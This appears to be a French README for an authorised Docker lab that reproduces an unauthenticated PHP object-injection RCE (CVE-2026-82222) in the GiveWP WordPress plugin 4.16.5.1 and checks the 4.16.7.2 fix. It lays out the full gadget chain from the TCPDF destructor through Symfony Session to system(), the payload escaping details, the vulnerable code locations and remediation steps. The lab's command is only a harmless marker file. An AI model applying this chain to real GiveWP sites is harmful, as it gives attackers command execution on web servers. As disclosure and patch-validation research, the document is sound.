
# Laboratoire Docker autorisé et PoC propre pour valider la RCE CVE-2026-82222 dans GiveWP 4.16.5.1 et le correctif 4.16.7.2.
Matériel de recherche en sécurité pour reproduire et valider CVE-2026-82222 dans un laboratoire Docker isolé.
Pour le PoC RCE direct et le scan d'URL, utilisez CVE-2026-8222-RCE.py
Statut : prouvé dans le laboratoire fourni
GiveWP 4.16.5.1 permet à un attaquant initialement non authentifié de persister un graphe d'objets PHP, de le raviver via la gestion de session GiveWP, et d'exécuter une commande marqueur fixe en tant qu'utilisateur du serveur web WordPress.
Résultat positif testé :
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
Le résultat de bout en bout a également été reproduit contre la source GiveWP 4.16.5.1 pristine, non instrumentée. GiveWP 4.16.7.2 a bloqué le vecteur HTTP dans la configuration testée et a indépendamment bloqué le gadget terminal lors d'un contrôle direct.
Cela démontre l'exécution de commandes dans le conteneur WordPress. Cela ne démontre pas l'accès root, l'évasion de conteneur, le mouvement latéral ou la compromission de l'hôte.
Utilisez ce dépôt uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester.
Le PoC fourni est volontairement contraint :
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.Le test HTTP crée un utilisateur donateur jetable, des métadonnées et des lignes de session GiveWP. Utilisez la commande de réinitialisation incluse après le test.
Prérequis :
curlunzipsha256sum ou shasumdownloads.wordpress.org pour les archives officielles du pluginExécutez la matrice complète vulnérable/patché :
./lab verify
La commande :
ProviderForwarder patché rejette également l'appelable chaîne.Le laboratoire patché reste en cours d'exécution à la fin. Supprimez-le avec :
./lab reset
Pour utiliser un autre port loopback :
LAB_PORT=8099 ./lab verify
Le contrôle vulnérable doit se terminer avec des preuves terminales concrètes :
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
Le contrôle patché doit afficher :
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
Un HTTP 500, une charge utile stockée, une exception ou un déclenchement de détecteur sans le marqueur n'est pas accepté comme preuve de RCE.
Démarrez et testez la version vulnérable :
./lab start vulnerable
./lab test
Démarrez et testez la version patchée :
./lab start patched
./lab test
Inspectez l'état actuel :
./lab status
Supprimez les conteneurs, volumes, utilisateurs de test, sessions et état du marqueur :
./lab reset
Les ZIP de plugins en cache et les ressources extraites sont conservés pour des réexécutions plus rapides. Supprimez également ces ressources générées exactes avec :
./lab reset --purge-assets
| Version | Évaluation |
|---|---|
| GiveWP 4.16.5.1 | RCE reproduite de bout en bout |
| GiveWP 4.16.6–4.16.7.1 | Signalée comme affectée ; non reproduite individuellement ici |
| GiveWP 4.16.7.2 | Contrôles négatifs patchés reproduits |
| Versions ultérieures | Non testées individuellement ; mettez à jour vers la dernière version prise en charge |
L'avis public identifie les versions jusqu'à 4.16.7.1 comme affectées. Ce dépôt prouve directement uniquement les deux versions de sa matrice de tests positifs/négatifs.
Références :
L'exploit combine plusieurs comportements :
Give\Helpers\Utils::maybeSafeUnserialize() utilise
allowed_classes => false, produisant __PHP_Incomplete_Class, mais une
sérialisation ultérieure préserve les noms de classes et propriétés d'origine.maybe_unserialize() non restreint ultérieur ravive les classes fournies.system().Quatre barres obliques inversées de namespace littérales sont requises dans le vecteur
HTTP. Les deux passes de suppression effectives les réduisent 4 -> 2 -> 1. La charge
utile est sans NUL, et PHP 8.1.30 a été vérifié pour hydrater le nom sérialisé simple
pour la propriété privée Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Graphe contrôlé par l'attaquant :
TCPDF
├── file_id = identifiant de requête unique
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = commande marqueur fixe
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
La transition cachée critique est la répartition implicite IteratorAggregate
de PHP. TCPDF::$imagekeys est non typé, donc l'assignation d'une Session
Symfony fait que foreach invoque Session::getIterator().
La commande marqueur s'exécute avant que Symfony n'applique le type de retour
getAttributeBag(): AttributeBagInterface. Le TypeError résultant et le HTTP 500
sont des effets post-sink.
Le graphe candidat rejeté utilisait :
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
Ce graphe ne peut pas fonctionner. TCPDF::_destroy() ne fait que désassigner
objcopy ; PHP ne route pas la destruction automatique via __call('__destruct', ...).
L'opération manquante était :
foreach ($this->imagekeys as $file) {
La revue précédente suivait les destructeurs et les appels de méthodes explicites mais
n'inspectait pas récursivement le protocole d'objets implicite déclenché par foreach.
La Session Symfony fournit le pont manquant :
foreach invoque getIterator().getIterator() atteint getBag($attributeName).storage contrôlé par l'attaquant est un DonationFactory.getBag non défini invoque ProviderForwarder::__call().loadedProviders['getBag'] = 'system' sélectionne l'appelable.attributeName fournit l'argument de commande.Emplacements pertinents GiveWP 4.16.5.1 :
| Composant | Emplacement |
|---|---|
| Unserialize initial protégé | src/Helpers/Utils.php:203-217,237-241 |
| Vecteur de don | includes/process-donation.php:157 |
| Persistance de session GiveWP | includes/class-give-session.php:364-368,489-508 |
| Ravivement de session non restreint | includes/class-give-session.php:347-350 |
| Destructeur TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| Itération contrôlée par l'attaquant | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Pont itérateur Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Pont getBag Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| Appelable terminal | src/TestData/Framework/ProviderForwarder.php:19-23 |
| Autoloaders Composer GiveWP | give.php:624-625 |
Hachages des versions officielles :
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
Le laboratoire ré-extrait chaque plugin depuis son ZIP vérifié avant chaque démarrage frais, le copie dans WordPress sans modification, et compare octet par octet l'arborescence complète des fichiers du plugin déployé avec la source vérifiée. Les trois images de base Docker officielles sont également épinglées à leurs digests de manifeste multi-architecture.
GiveWP 4.16.7.2 ajoute des défenses indépendantes sur l'enregistrement, le traitement des entrées sérialisées, le ravivement de session, la migration de données et le durcissement des gadgets.
Le durcissement terminal exige que l'objet résolu implémente le contrat de fournisseur attendu :
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
La chaîne system contrôlée par l'attaquant est donc rejetée. Le contrôle direct
dans ce dépôt contourne le vecteur HTTP et vérifie que cette défense terminale
seule laisse son marqueur absent.
Un résultat PoC négatif en soi ne prouve pas qu'un site est patché. Un WAF, un routage différent, un enregistrement désactivé, un formulaire hérité manquant, une configuration de session ou des fonctions de commande PHP désactivées peuvent tous empêcher le marqueur sur un codebase toujours vulnérable.
Procédure de validation préférée :
Vérification de version :
wp plugin get give --fields=name,status,version
Mettez à jour GiveWP vers la dernière version prise en charge. Après la mise à jour :
TCPDF, Session Symfony ou loadedProviders.Si une installation vulnérable exposée à Internet contient des artefacts d'injection d'objets, traitez-la comme une compromission potentielle plutôt que de simplement mettre à jour le plugin.
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
Non commité :
ZIP officiels des plugins
source GiveWP extraite
source cible instrumentée
cookies ou données de session
preuves/journaux d'exécution
adresses cibles internes ou identifiants réutilisables
charges utiles objcopy obsolètes
sortie de validation historique
| Affirmation | Statut |
|---|---|
| Vecteur d'injection d'objets PHP persistant | Prouvé |
| Ravivement des classes fournies | Prouvé |
| Chaîne POP stock complète | Prouvé |
| Marqueur fixe exécuté en tant qu'utilisateur web | Prouvé |
| Reproduction contre 4.16.5.1 pristine | Prouvé |
| Contrôles négatifs contre 4.16.7.2 pristine | Prouvé |
| Chaque version intermédiaire affectée testée | Non testé |
| Privilège root | Non revendiqué |
| Évasion de conteneur | Non testé |
| Compromission de l'hôte | Non testé |
La norme de preuve est délibérément stricte : seul un marqueur de commande observable via la chaîne stock non modifiée est étiqueté RCE. L'acceptation HTTP, la sérialisation, les exceptions et les déclenchements de détecteurs sont des preuves intermédiaires.